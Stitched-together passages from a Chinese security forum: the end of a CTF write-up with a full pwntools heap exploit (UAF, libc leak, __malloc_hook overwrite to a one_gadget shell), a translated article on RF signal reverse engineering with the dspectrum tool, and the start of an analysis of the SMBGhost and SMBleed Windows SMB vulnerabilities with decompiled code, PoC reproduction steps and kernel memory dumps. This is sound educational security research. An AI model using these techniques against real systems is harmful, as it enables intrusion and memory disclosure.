二、寻找到malloc_hook位置之上可以利用的一个位置，需要绕过fastbin对size的一个检查，读者们可以参考一下2017-0ctf-babyheap对这个的绕过，这里我就不多写了。
三、OneGadget的写入
### exp:
from pwn import*
context.log_level = 'debug'
p = process('./data_bank')
elf = ELF('./data_bank')
libc = elf.libc
def add(index,size,data):
p.recvuntil(">> ")
p.send("1")
p.recvuntil("index:")
p.send(str(index))
p.recvuntil("size:")
p.send(str(size))
p.recvuntil("data:")
p.send(str(data))
def edit(index,data):
p.recvuntil(">> ")
p.send("2")
p.recvuntil("index:")
p.send(str(index))
p.recvuntil("data:")
p.send(str(data))
def remove(index):
p.recvuntil(">> ")
p.sendline("3")
p.recvuntil(":\n")
p.send(str(index))
def view(index):
p.recvuntil(">> ")
p.send("4")
p.recvuntil(":\n")
p.sendline(str(index))
def main():
add(0,0x90,111)
add(1,0x90,111)
remove(0)
remove(1)
view(0)
p.recvuntil('Your data :')
main_arena = u64(p.recv(6).ljust(8,'\x00'))
raw_input()
libc_addr = main_arena -(0x7fd6bee35b78-0x7fd6bea71000)
malloc_hook = libc_addr + libc.symbols['__malloc_hook']
addr = malloc_hook-0x23
one = libc_addr+0xf1147
add(3,0x60,'aaaaa\n')
add(4,0x60,'bbbbb\n')
remove(4)
remove(3)
edit(3,p64(addr)+'\n')
add(2,0x60,'\n')
add(5,0x60,'\x00'*0x13+p64(one)+'\n')
p.sendline('1')
p.sendline('6')
p.sendline('512')
p.interactive()
if __name__ == '__main__':
main()
#### 总结
这个题目是一个对uaf的一个很好的利用，这个国际赛的本身也很适合刚入坑堆的新手进行练习，同时对malloc_hook这一个函数指针有了更多的了解，一般的题目都可以利用此种方法进行保护的绕过。 | 社区文章 |
# 【技术分享】射频信号的自动化逆向分析（含演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://ethicalhacker.io/post/150536211195/rf-signals-automating-the-reverse-engineering>
译文仅供参考，具体内容表达以及含义原文为准。
**前言**
近些年来，软件定义无线电（SDR）和射频（RF）分析变得越来越热门了。随着科学技术的不断发展，软件和硬件都在不断升级。
**尤其在开源领域中，软件定义无线电（SDR）技术毫无疑问地将会成为安全社区中的一种潮流和趋势。**
作为一名前软件工程师，我打算使用简单的信号调制方案来对原始的二进制数据进行处理，并实现信号的自动化转换。就我个人而言，最让我感兴趣的就是开关键控（OOK）和频移键控（FSK
/ 2FSK），因为它俩在汽车、物联网、智能家居、以及安全行业都有其用武之地。
为此，我打算使用开源软件GQRX来记录射频传输数据，然后将它们保存在wave音频文件中，并尝试使用Audacity来对这些数据进行分析。Audacity是一款开源的音频处理软件，它最早是在Linux平台下发展起来的。值得注意的是，这款软件虽然有着傻瓜式的操作界面，但是却可以给用户提供专业的音频处理效果。
作为一个SDR和RF领域的初学者，我一开始真的快失去研究下去的信心了。毫无疑问，GQRX是一款功能十分强大的应用程序。但是，
**它并不适合用来对数据进行逆向分析** **。**
我们不仅无法直观地看到数据的处理过程，而且我们还要根据所要分析的信号种类来对工具进行繁重的配置。除此之外，
**用户也无法直接从GQRX的输出数据中观察到频率的变化。**
**
**
**GQRX是什么？**
GQRX是一款实验软件，它使用了GNU Radio和Qt
GUI工具来实现无线电接收功能。GQRX不仅可以作为一种带有音频输出的传统AM/FM/SSB接收器来使用，而且还可以使用网络套接字来与外部应用程序进行交互。目前，该项目的Github代码仓库仅提供了针对Linux平台的源码包和二进制代码，Mac用户仅能通过macports来安装GQRX。［[Github传送门](https://github.com/csete/gqrx)］
在此之后，我又发现了一个名为“Inspectrum”的新型跨平台工具。Inspectrum不仅允许用户以可视化的形式查看射频信号的频移值和振幅值，而且它还支持由osmocom_fft生成的RAW文件格式。所以在我看来，Inspectrum是一款非常简单且高效的工具，我们可以用它来捕捉和处理射频传输信号。
**
**
**Inspectrum简介**
Inspectrum是一款可以分析捕捉信号的工具，它主要针对的是软件定义的无线电接收设备。
Inspectrum支持以下类型的文件：
> *.cf32，*.cfile – (GNURadio, osmocom_fft)
>
> *.cs16 – (BladeRF)
>
> *.cs8 – (HackRF)
>
> *.cu8 – (RTL-SDR)
如果你加载了Inspectrum无法识别的文件，Inspectrum会默认将该文件当作*.cf32文件来处理。
Github项目主页：［[传送门](https://github.com/miek/inspectrum)］
**
**
**实验分析**
现在，既然我们已经知道了如何去查看OOK和2FSK信号，那么接下来我就准备在Inspectrum中对信号进行逆向分析了。我打算使用网格叠加分析来帮助我确定传输信号的波特率，并且对信号进行可视化解码。这种处理方法虽然与我之前使用Audacity时所用的方法非常相似，但是这个方法有几点明显的不同之处：
> 1、提升了信号传输的可靠性；
>
> 2、可以检查射频信号的频移；
>
> 3、可以对传输信号波特率进行自动计算；
由于我此前曾是一名软件工程师，所以当我发现这类逆向分析工作变得越来越乏味无趣的时候，我自然会想到要设计出一种方法或者工具来自动完成这些逆向分析任务。在我彻底弄清楚了这些信号的识别和解调机制之后，我便开始尝试为Inspectrum开发一个封装程序。这个封装程序可以获取到Inspectrum报告的信号振幅值或频移值，并且直接取平均值来作为阈值。当信号单元的值低于阈值时，封装程序就会认为该值为一个二进制的“0”；当信号单元的值高于阈值时，它便会将该值视作二进制的“1”。分析完毕之后，它会将原始的二进制数据输出。
在这个自动化工具的帮助下，我的逆向分析效率得到了大幅度的提升。而且还有很重要的一点，在人工进行逆向分析的过程中经常会出现错误，但是有了这个工具基本上就不会在出错了。话虽如此，但是在目前这个阶段，我仍然需要通过肉眼去对比信号的差异。于是乎，我便开发出了一款增强版的封装程序（dspectrum），并且将其转变成了一种交互式的命令行工具。除此之外，我还引入了另外两个新的功能：1.对同一文件中传输信号的两个部分进行半自动化比较；2.对不同文件中的两个传输信号进行半自动化比较。
我在我的射频信号发射装置上重新测试了我的逆向分析步骤，我发现确定二进制数值的因素是“平均时间”，无论其是否采用了滚动码系统或者其他的某些功能，胚胎设备的平均分析时间已经从之前的一个小时减少到了五分钟左右。
**
**
**dspectrum－［**[
**Github项目地址**](http://t.umblr.com/redirect?z=https%3A%2F%2Fgithub.com%2Ftresacton%2Fdspectrum&t=YmQzMmFlZTJkMGIyMWQ0YTIyMGQ5ODA4YjFmYjExOGM2OGI1YTZhNSxkcThBUlFlSA%3D%3D)
**］**
我所开发出的这款封装程序名叫“dspectrum”，它可以对RF/SDR信号进行自动化逆向分析。
**程序运行依赖**
Inspectrum：［[下载地址](https://github.com/miek/inspectrum)］
Ruby：［[下载地址](http://www.ruby-lang.org/en/downloads/)］
**安装方法**
git clone https://github.com/tresacton/dspectrum
cd dspectrum
chmod +x ./dspectrum
gem install colorize
cp ./dspectrum /usr/local/bin/ # optional
**使用方法**
./dspectrum # or simply `dspectrum` if you copied it to /usr/local/bin
运行了上面这条指令之后，你将会得到一个可交互式的shell。我已经用这个脚本来对OOK和2FSK信号进行过测试了，目前为止成功率为100%。它会对信号进行详细的检查，如果发现有任何不对劲的地方它会立刻提醒用户。
**
**
**结束语**
除了上述文字内容之外，我还录制了一个演示视频。在这个演示视频中，我用了两台相似的设备来生成两个代码/标识符不同的信号，我可以在不到两分钟的时间内识别出信号中所包含的代码或标识符。
演示视频（从两个不同的文件中捕获信号，然后进行对比分析）： | 社区文章 |
# SMBGhost && SMBleed 漏洞深入研究
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2020年3月11日，微软发布了115个漏洞的补丁程序和一个安全指南（禁用SMBv3压缩指南 ——
ADV200005），ADV200005中暴露了一个SMBv3的远程代码执行漏洞，该漏洞可能未经身份验证的攻击者在SMB服务器或客户端上远程执行代码，业内安全专家猜测该漏洞可能会造成蠕虫级传播。补丁日之后，微软又发布了Windows
SMBv3 客户端/服务器远程代码执行漏洞的安全更新细节和补丁程序，漏洞编号为CVE-2020-0796，由于一些小插曲，该漏洞又被称为SMBGhost。
2020年6月10日，微软公开修复了Microsoft Server Message Block 3.1.1
(SMBv3)协议中的另一个信息泄露漏洞CVE-2020-1206。该漏洞是由ZecOps安全研究人员在SMBGhost同一漏洞函数中发现的，又被称为SMBleed。未经身份验证的攻击者可通过向目标SMB服务器发特制数据包来利用此漏洞，或配置一个恶意的
SMBv3 服务器并诱导用户连接来利用此漏洞。成功利用此漏洞的远程攻击者可获取敏感信息。
SMBGhost 和 SMBleed 漏洞产生于同一个函数，不同的是，SMBGhost 漏洞源于OriginalCompressedSize 和
Offset 相加产生的整数溢出，SMBleed 漏洞在于 OriginalCompressedSize 或 Offset
欺骗产生的数据泄露。本文对以上漏洞进行分析总结，主要包括以下几个部分：
* SMBGhost 漏洞回顾
* SMBleed 漏洞复现分析
* 物理地址读 && SMBGhost 远程代码执行
* SMBGhost && SMBleed 远程代码执行
* Shellcode 调试分析
## SMBGhost 漏洞回顾
CVE-2020-0796漏洞源于Srv2DecompressData函数，该函数主要负责将压缩过的SMB数据包还原（解压），但在使用SrvNetAllocateBuffer函数分配缓冲区时，传入了参数OriginalCompressedSegmentSize
+
Offset，由于未对这两个值进行额外判断，存在整数溢出的可能。如果SrvNetAllocateBuffer函数使用较小的值作为第一个参数为SMB数据分配缓冲区，获取的缓冲区的长度或小于待解压数据解压后的数据的长度，这将导致程序在解压（SmbCompressionDecompress）的过程中产生缓冲区溢出。
NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize)
{
PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer(
(ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset),
NULL);
If (!Alloc) {
return STATUS_INSUFFICIENT_RESOURCES;
}
ULONG FinalCompressedSize = 0;
NTSTATUS Status = SmbCompressionDecompress(
Header->CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
(PUCHAR)Alloc->UserBuffer + Header->Offset,
Header->OriginalCompressedSegmentSize,
&FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
if (Header->Offset > 0) {
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;
}
通过SrvNetAllocateBuffer函数获取的缓冲区结构如下，函数返回的是SRVNET_BUFFER_HDR结构的指针，其偏移0x18处存放了User
Buffer指针，User Buffer区域用来存放还原的SMB数据，解压操作其实就是向User Buffer偏移offset处释放解压数据：
原本程序设计的逻辑是，在解压成功之后调用memcpy函数将raw data（压缩数据之前的offset大小的没有被压缩的数据）复制到User
Buffer的起始处，解压后的数据是从offset偏移处开始存放的。正常的情况如下图所示，未压缩的数据后面跟着解压后的数据，复制的数据没有超过User
Buffer的范围：
但由于整数溢出，分配的User Buffer空间会小，User
Buffer减offset剩下的空间不足以容纳解压后的数据，如下图所示。根据该结构的特点，可通过构造Offset、Raw Data和Compressed
Data，在解压时覆盖后面SRVNET BUFFER
HDR结构体中的UserBuffer指针，从而在后续memcpy时向UserBuffer（任意地址）写入可控的数据（任意数据）。
**任意地址写是该漏洞利用的关键。**
3月份跟风分析过此漏洞并学习了通过任意地址写进行本地提权的利用方式，链接如下：<https://mp.weixin.qq.com/s/rKJdP_mZkaipQ9m0Qn9_2Q>
## SMBleed 漏洞
根据ZecOps公开的信息可知，引发该漏洞的函数也是srv2.sys中的Srv2DecompressData函数，与SMBGhost漏洞（CVE-2020-0796）相同。
### 漏洞分析
再来回顾一下Srv2DecompressData函数吧，该函数用于还原（解压）SMB数据。首先根据原始压缩数据中的OriginalCompressedSegmentSize和Offset计算出解压后结构的大小，然后通过SrvNetAllocateBuffer函数获取SRVNET
BUFFER HDR结构（该结构中指明了可存放无需解压的Offset长度的数据和解压数据的缓冲区的User
Buffer），然后调用SmbCompressionDecompress函数向User
Buffer的Offset偏移处写入数据。CVE-2020-0796漏洞是由于OriginalCompressedSegmentSize和Offset相加的过程中出现整数溢出，从而导致获取的缓冲区不足以存放解压后的数据，最终在解压过程中产生溢出。
* (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset) 处产生整数溢出，假设结果为x
* SrvNetAllocateBuffer函数会根据x的大小去LookAside中寻找大小合适的缓冲区，并返回其后面的SRVNET BUFFER HDR结构，该结构偏移0x18处指向该缓冲区User Buffer
* SmbCompressionDecompress函数依据指定的压缩算法将待解压数据解压到 User Buffer偏移Offset处，但其实压缩前的数据长度大于剩余的缓冲区长度，解压复制的过程中产生缓冲区溢出
NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize)
{
PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer(
(ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset),
NULL);
If (!Alloc) {
return STATUS_INSUFFICIENT_RESOURCES;
}
ULONG FinalCompressedSize = 0;
NTSTATUS Status = SmbCompressionDecompress(
Header->CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
(PUCHAR)Alloc->UserBuffer + Header->Offset,
Header->OriginalCompressedSegmentSize,
&FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
if (Header->Offset > 0) {
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;
}
在SmbCompressionDecompress函数中有一个神操作，如下所示，如果nt!RtlDecompressBufferEx2返回值非负（解压成功），则将FinalCompressedSize赋值为OriginalCompressedSegmentSize。因而，只要数据解压成功，就不会进入SrvNetFreeBuffer等流程，即使解压操作后会判断FinalCompressedSize和OriginalCompressedSegmentSize是否相等。这是0796任意地址写的前提条件。
if ( (int)RtlGetCompressionWorkSpaceSize(v13, &NumberOfBytes, &v18) < 0
|| (v6 = ExAllocatePoolWithTag((POOL_TYPE)512, (unsigned int)NumberOfBytes, 0x2532534Cu)) != 0i64 )
{
v14 = &FinalCompressedSize;
v17 = v8;
v15 = OriginalCompressedSegmentSize;
v10 = RtlDecompressBufferEx2(v13, v7, OriginalCompressedSegmentSize, v9, v17, 4096, FinalCompressedSize, v6, v18);
if ( v10 >= 0 )
*v14 = v15;
if ( v6 )
ExFreePoolWithTag(v6, 0x2532534Cu);
}
这也是CVE-2020-1206的漏洞成因之一，SmbCompressionDecompress函数会对FinalCompressedSize值进行更新，导致实际解压出来的数据长度和OriginalCompressedSegmentSize不相等时也不会进入释放流程。而且在解压成功之后会将SRVNET
BUFFER HDR结构中的UserBufferSizeUsed赋值为Offset与FinalCompressedSize之和，这个操作也是挺重要的。
//Srv2DecompressData
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
if (Header->Offset > 0) {
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Alloc->UserBufferSizeUsed = Header->Offset + FinalCompressedSize;
Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;
}
那如果我们将OriginalCompressedSegmentSize设置为比实际压缩的数据长度大的数，让系统认为解压后的数据长度就是OriginalCompressedSegmentSize大小，是不是也可以泄露内存中的数据（类似于心脏滴血）。如下所示，POC中将OriginalCompressedSegmentSize设置为x
+ 0x1000，offset设置为0，最终得到解压后的数据 (长度为x)，其后面跟有未初始化的内核数据 ，然后利用解压后的SMB2 WRITE
消息泄露后面紧跟着的长度为0x1000的未初始化数据。
### 漏洞复现
在Win10 1903下使用公开的SMBleed.exe进行测试（需要身份认证和可写权限）。步骤如下：
* 共享C盘，确保允许Everyone进行更改（或添加其他用户并赋予其读取和更改权限）
* 在C盘下创建share目录，以便对文件写入和读取
* 按照提示运行SMBleed.exe程序，例：SMBleed.exe win10 127.0.0.1 DESKTOP-C2C92C6 strawberry 123123 c share\test.bin local.bin
以下为获得的local.bin中的部分信息：
### 抓包分析
在复现的同时可以抓包，可以发现协商之后的大部分包都采用了SMB
压缩（ProtocalId为0x424D53FC）。根据数据包可判断POC流程大概是这样的：SMB协商->用户认证->创建文件->利用漏洞泄露内存信息并写入文件->将文件读取到本地->结束连接。
注意到一个来自服务端的Write
Response数据包，其status为STATUS_SUCCESS，说明写入操作成功。ZecOps在文章中提到过他们利用[SMB2
WRITE消息](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e7046961-3318-4350-be2a-a8d69bb59ce8)来演示此漏洞，因而我们需要关注一下其对应的请求包，也就是下图中id为43的那个数据包。
下面为触发漏洞的SMB压缩请求包，粉色方框里的OriginalCompressedSegmentSize字段值为0x1070，但实际压缩前的数据只有0x70，可借助
SMB2 WRITE 将未初始化的内存泄露出来。
以下为解压前后数据对比，解压前数据大小为0x3f，解压后数据大小为0x70（真实解压大小，后面为未初始化内存），解压后的数据包括SMB2数据包头（0x40长度）和偏移0x40处的SMB2
WRITE结构。在这SMB2 WRITE结构中指明了向目标文件写入后面未初始化的0x1000长度的数据。
3: kd>
srv2!Srv2DecompressData+0xdc:
fffff800`01e17f3c e86f657705 call srvnet!SmbCompressionDecompress (fffff800`0758e4b0)
3: kd> dd rdx //压缩数据
ffffb283`210dfdf0 02460cc0 424d53fe 00030040 004d0009
ffffb283`210dfe00 18050000 ff000100 010000fe 00190038
ffffb283`210dfe10 0018f800 31150007 00007000 ffffff10
ffffb283`210dfe20 070040df 00183e00 00390179 00060007
ffffb283`210dfe30 00000000 00000000 00000000 00000000
ffffb283`210dfe40 00000000 00000000 00000000 00000000
ffffb283`210dfe50 00000000 00000000 00000000 00000000
ffffb283`210dfe60 00000000 00000000 00000000 00000000
3: kd> db ffffb283`1fe23050 l1070 //解压后数据
ffffb283`1fe23050 fe 53 4d 42 40 00 00 00-00 00 00 00 09 00 40 00 .SMB@.........@.
ffffb283`1fe23060 00 00 00 00 00 00 00 00-05 00 00 00 00 00 00 00 ................
ffffb283`1fe23070 ff fe 00 00 01 00 00 00-01 00 00 00 00 f8 00 00 ................
ffffb283`1fe23080 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffb283`1fe23090 31 00 70 00 00 10 00 00-00 00 00 00 00 00 00 00 1.p.............
ffffb283`1fe230a0 00 00 00 00 3e 00 00 00-01 00 00 00 3e 00 00 00 ....>.......>...
ffffb283`1fe230b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffb283`1fe230c0 4d 53 53 50 00 03 00 00-00 18 00 18 00 a8 00 00 MSSP............
ffffb283`1fe230d0 00 1c 01 1c 01 c0 00 00-00 1e 00 1e 00 58 00 00 .............X..
ffffb283`1fe230e0 00 14 00 14 00 76 00 00-00 1e 00 1e 00 8a 00 00 .....v..........
ffffb283`1fe230f0 00 10 00 10 00 dc 01 00-00 15 82 88 e2 0a 00 ba ................
ffffb283`1fe23100 47 00 00 00 0f 42 75 7d-f2 d2 46 fe 0f 4b 14 e0 G....Bu}..F..K..
ffffb283`1fe23110 c5 8f fc cd 0a 44 00 45-00 53 00 4b 00 54 00 4f .....D.E.S.K.T.O
ffffb283`1fe23120 00 50 00 2d 00 43 00 32-00 43 00 39 00 32 00 43 .P.-.C.2.C.9.2.C
ffffb283`1fe23130 00 36 00 73 00 74 00 72-00 61 00 77 00 62 00 65 .6.s.t.r.a.w.b.e
ffffb283`1fe23140 00 72 00 72 00 79 00 44-00 45 00 53 00 4b 00 54 .r.r.y.D.E.S.K.T
ffffb283`1fe23150 00 4f 00 50 00 2d 00 43-00 32 00 43 00 39 00 32 .O.P.-.C.2.C.9.2
ffffb283`1fe23160 00 43 00 36 00 00 00 00-00 00 00 00 00 00 00 00 .C.6............
ffffb283`1fe23170 00 00 00 00 00 00 00 00-00 00 00 00 00 21 52 f2 .............!R.
ffffb283`1fe23180 53 be ee d2 a8 01 46 1d-69 9c 78 f5 90 01 01 00 S.....F.i.x.....
ffffb283`1fe23190 00 00 00 00 00 43 c5 71-42 a7 43 d6 01 d9 a8 02 .....C.qB.C.....
ffffb283`1fe231a0 16 83 a3 24 75 00 00 00-00 02 00 1e 00 44 00 45 ...$u........D.E
ffffb283`1fe231b0 00 53 00 4b 00 54 00 4f-00 50 00 2d 00 43 00 32 .S.K.T.O.P.-.C.2
ffffb283`1fe231c0 00 43 00 39 00 32 00 43-00 36 00 01 00 1e 00 44 .C.9.2.C.6.....D
ffffb283`1fe231d0 00 45 00 53 00 4b 00 54-00 4f 00 50 00 2d 00 43 .E.S.K.T.O.P.-.C
ffffb283`1fe231e0 00 32 00 43 00 39 00 32-00 43 00 36 00 04 00 1e .2.C.9.2.C.6....
ffffb283`1fe231f0 00 44 00 45 00 53 00 4b-00 54 00 4f 00 50 00 2d .D.E.S.K.T.O.P.- ffffb283`1fe23200 00 43 00 32 00 43 00 39-00 32 00 43 00 36 00 03 .C.2.C.9.2.C.6..
ffffb283`1fe23210 00 1e 00 44 00 45 00 53-00 4b 00 54 00 4f 00 50 ...D.E.S.K.T.O.P
ffffb283`1fe23220 00 2d 00 43 00 32 00 43-00 39 00 32 00 43 00 36 .-.C.2.C.9.2.C.6
ffffb283`1fe23230 00 07 00 08 00 43 c5 71-42 a7 43 d6 01 06 00 04 .....C.qB.C.....
ffffb283`1fe23240 00 02 00 00 00 08 00 30-00 30 00 00 00 00 00 00 .......0.0......
ffffb283`1fe23250 00 01 00 00 00 00 20 00-00 6f 26 f2 a8 d5 ab cf ...... ..o&.....
ffffb283`1fe23260 14 7d a9 e2 e9 5a 37 0e-94 56 6d 23 d4 42 bf ba .}...Z7..Vm#.B..
ffffb283`1fe23270 1c 3d 9b 38 91 d3 b4 0f-cd 0a 00 10 00 00 00 00 .=.8............
ffffb283`1fe23280 00 00 00 00 00 00 00 00-00 00 00 00 00 09 00 00 ................
ffffb283`1fe23290 00 00 00 00 00 00 00 00-00 1e a8 6f 1d 2e 86 e2 ...........o....
ffffb283`1fe232a0 6b b9 6b 8b e6 21 f6 de-7f a3 12 04 10 01 00 00 k.k..!..........
ffffb283`1fe232b0 00 9d 20 ee a2 a7 b3 6e-67 00 00 00 00 00 00 00 .. ....ng.......
SMB2 WRITE部分结构如下（了解这些就够了吧）：
* **StructureSize（2个字节）：** 客户端必须将此字段设置为49（0x31），表示请求结构的大小，不包括SMB头部。
* **DataOffset（2个字节）：** 指明要写入的数据相对于SMB头部的偏移量（以字节为单位）。
* **长度（4个字节）：** 要写入的数据的长度，以字节为单位。要写入的数据长度可以为0。
* **偏移量（8个字节）：** 将数据写入目标文件的位置的偏移量（以字节为 **单位）** 。如果在管道上执行写操作，则客户端必须将其设置为0，服务器必须忽略该字段。
* **FILEID（16个字节）：**[SMB2_FILEID](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/f1d9b40d-e335-45fc-9d0b-199a31ede4c3) 文件句柄。
……
所以根据以上信息可知，DataOffset为0x70，数据长度为0x1000，从文件偏移0的位置开始写入。查看本次泄露的数据，可以发现正好就是SMB头偏移0x70处的0x1000长度的数据。
所以，前面的UserBufferSizeUsed起了什么样的作用呢？在Srv2PlainTextReceiveHandler函数中会将其复制到v3偏移
0x154处。然后在Smb2ExecuteWriteReal函数（Smb2ExecuteWrite函数调用）中会判断之前复制的那个双字节值是否小于SMB2
WRITE结构中的DataOffset和长度之和，如果小于的话就会出错（不能写入数据）。POC中将这两个字段分别设置为0x70和0x1000，相加后正好等于0x1070，如果将长度字段设置的稍小一些，那么相应的，泄露的数据长度也会变小。也就是说，OriginalCompressedSegmentSize字段设置了泄露的上限（OriginalCompressedSegmentSize
– DataOffset），具体泄露的数据长度还是要看SMB2
WRITE结构中的长度。在这里不得不佩服作者的脑洞，但这种思路需要目标系统共享文件夹以及获取权限，还是有些局限的。
//Srv2PlainTextReceiveHandler
v2 = a2;
v3 = a1;
v4 = Smb2ValidateMessageIdAndCommand(
a1,
*(_QWORD *)(*(_QWORD *)(a1 + 0xF0) + 0x18i64), //UserBuffer
*(_DWORD *)(*(_QWORD *)(a1 + 0xF0) + 0x24i64)); //UserBufferSizeUsed
if ( (v4 & 0x80000000) == 0 )
{
v6 = *(_QWORD *)(v3 + 0xF0);
*(_DWORD *)(v3 + 0x158) = *(_DWORD *)(v6 + 0x24);
v7 = Srv2CheckMessageSize(*(_DWORD *)(v6 + 0x24), *(_DWORD *)(v6 + 0x24), *(_QWORD *)(v6 + 0x18)); //UserBufferSizeUsed or *(int *)(UserBuffer+0x14)
v9 = v7;
if ( v7 == (_DWORD)v8 || (result = Srv2PlainTextCompoundReceiveHandler(v3, v7), (int)result >= 0) )
{
*(_DWORD *)(v3 + 0x150) = v9;
*(_DWORD *)(v3 + 0x154) = v9; //上层结构，没有好好分析
*(_BYTE *)(v3 + 0x198) = 1;
//Smb2ExecuteWriteReal
3: kd> g
Breakpoint 5 hit
srv2!Smb2ExecuteWriteReal+0xc9:
fffff800`01e4f949 0f82e94f0100 jb srv2!Smb2ExecuteWriteReal+0x150b8 (fffff800`01e64938)
3: kd> ub rip
srv2!Smb2ExecuteWriteReal+0xa5:
fffff800`01e4f925 85c0 test eax,eax
fffff800`01e4f927 0f88b94f0100 js srv2!Smb2ExecuteWriteReal+0x15066 (fffff800`01e648e6)
fffff800`01e4f92d 4c39bbb8000000 cmp qword ptr [rbx+0B8h],r15
fffff800`01e4f934 0f85d34f0100 jne srv2!Smb2ExecuteWriteReal+0x1508d (fffff800`01e6490d)
fffff800`01e4f93a 0fb74f42 movzx ecx,word ptr [rdi+42h]
fffff800`01e4f93e 8bc1 mov eax,ecx
fffff800`01e4f940 034744 add eax,dword ptr [rdi+44h]
fffff800`01e4f943 398654010000 cmp dword ptr [rsi+154h],eax
3: kd> dd rdi
ffffb283`1fe25050 424d53fe 00000040 00000000 00400009
ffffb283`1fe25060 00000000 00000000 00000005 00000000
ffffb283`1fe25070 0000feff 00000001 00000001 0000f800
ffffb283`1fe25080 00000000 00000000 00000000 00000000
ffffb283`1fe25090 00700031 00001000 00000000 00000000
ffffb283`1fe250a0 00000000 0000003e 00000001 0000003e
ffffb283`1fe250b0 00000000 00000000 00000000 00000000
ffffb283`1fe250c0 00000000 00000000 00000020 00000000
## 物理地址读&&SMBGhost远程代码执行
在进行复现前，对一些结构进行分析，如Lookaside、SRVNET BUFFER HDR、MDL等等，以便更好地理解这种利用方式。
### Lookaside 初始化
SrvNetAllocateBuffer函数会从SrvNetBufferLookasides表中获取大小合适的缓冲区，如下所示，SrvNetAllocateBuffer第一个参数为数据的长度，这里为还原的数据的长度（解压+无需解压的数据），第二个参数为SRVNET_BUFFER_HDR结构体指针或0。如果传入的长度在[
0x1100 , 0x100100 ] 区间，会进入以下流程。
//SrvNetAllocateBuffer(unsigned __int64 a1, __int64 a2)
//a1: OriginalCompressedSegmentSize + Offset
//a2: 0
v3 = 0;
......
else
{
if ( a1 > 0x1100 ) // 这里这里
{
v13 = a1 - 0x100;
_BitScanReverse64((unsigned __int64 *)&v14, v13);// 从高到低扫描，找到第一个1，v14存放比特位
_BitScanForward64((unsigned __int64 *)&v15, v13);// 从低到高扫描，找到第一个1，v15存放比特位
if ( (_DWORD)v14 == (_DWORD)v15 ) // 说明只有一个1
v3 = v14 - 0xC;
else
v3 = v14 - 0xB;
}
v6 = SrvNetBufferLookasides[v3];
上述代码的逻辑为，分别找到length –
0x100中1的最高比特位和最低比特位，如果相等的话，用最高比特位索引减0xC，否则用最高比特位索引减0xB。最高比特位x可确定长度的大致范围[1<<x,1<<(x+1)]，然后通过判断两个比特位是否相等来确定是否需要更大的空间，如果相等就选1<<x，不相等就是1<<(x+1)。这里用最高比特位减0xC或0xB得到一个值，然后再用这个值在SrvNetBufferLookasides表中进行索引。下表为length
– 0x100中比特位1唯一的情况下，第一行为length减0x100后的数据比特位1的索引i，第二行为(1>>i) +
0x100的值，也就是length，第三行为 i – 0xc，表示SrvNetBufferLookasides中相应的索引。
|比特位|12|13|14|15|16|17|18|19|20|
|——|——|——|——|——|——|——|——|——|——|
|长度|0x1100|0x2100|0x4100|0x8100|0x10100|0x20100|0x40100|0x80100|0x100100|
|索引|0|1|2|3|4|5|6|7|8|
后面的流程为根据索引从SrvNetBufferLookasides中取出相应结构体X的指针，取其第一项（核心数加1的值），v2为KPCR结构偏移0x1A4处的核心号。然后从结构体X偏移0x20处获取结构v9，v7（v8）表示当前核心要处理的数据在v9结构体中的索引（核心号加1），然后通过v8索引获取结构v10，综上：v10
= _(_QWORD_ )( _(_QWORD_ )（SrvNetBufferLookasides[index] + 0x20）+ 8*（Core
number +
1）），如果v10偏移0x70处不为0（表示结构已分配），就取出v10偏移8处的结构（SRVNET_BUFFER_HDR）。如果没分配，就调用PplpLazyInitializeLookasideList函数。
v2 = __readgsdword(0x1A4u);
......
v6 = SrvNetBufferLookasides[v3];
v7 = *(_DWORD *)v6 - 1;
if ( (unsigned int)v2 + 1 < *(_DWORD *)v6 )
v7 = v2 + 1;
v8 = v7;
v9 = *(_QWORD *)(v6 + 0x20);
v10 = *(_QWORD *)(v9 + 8 * v8);
if ( !*(_BYTE *)(v10 + 0x70) )
PplpLazyInitializeLookasideList(v6, *(_QWORD *)(v9 + 8 * v8));
++*(_DWORD *)(v10 + 0x14);
v11 = (SRVNET_BUFFER_HDR *)ExpInterlockedPopEntrySList((PSLIST_HEADER)v10);
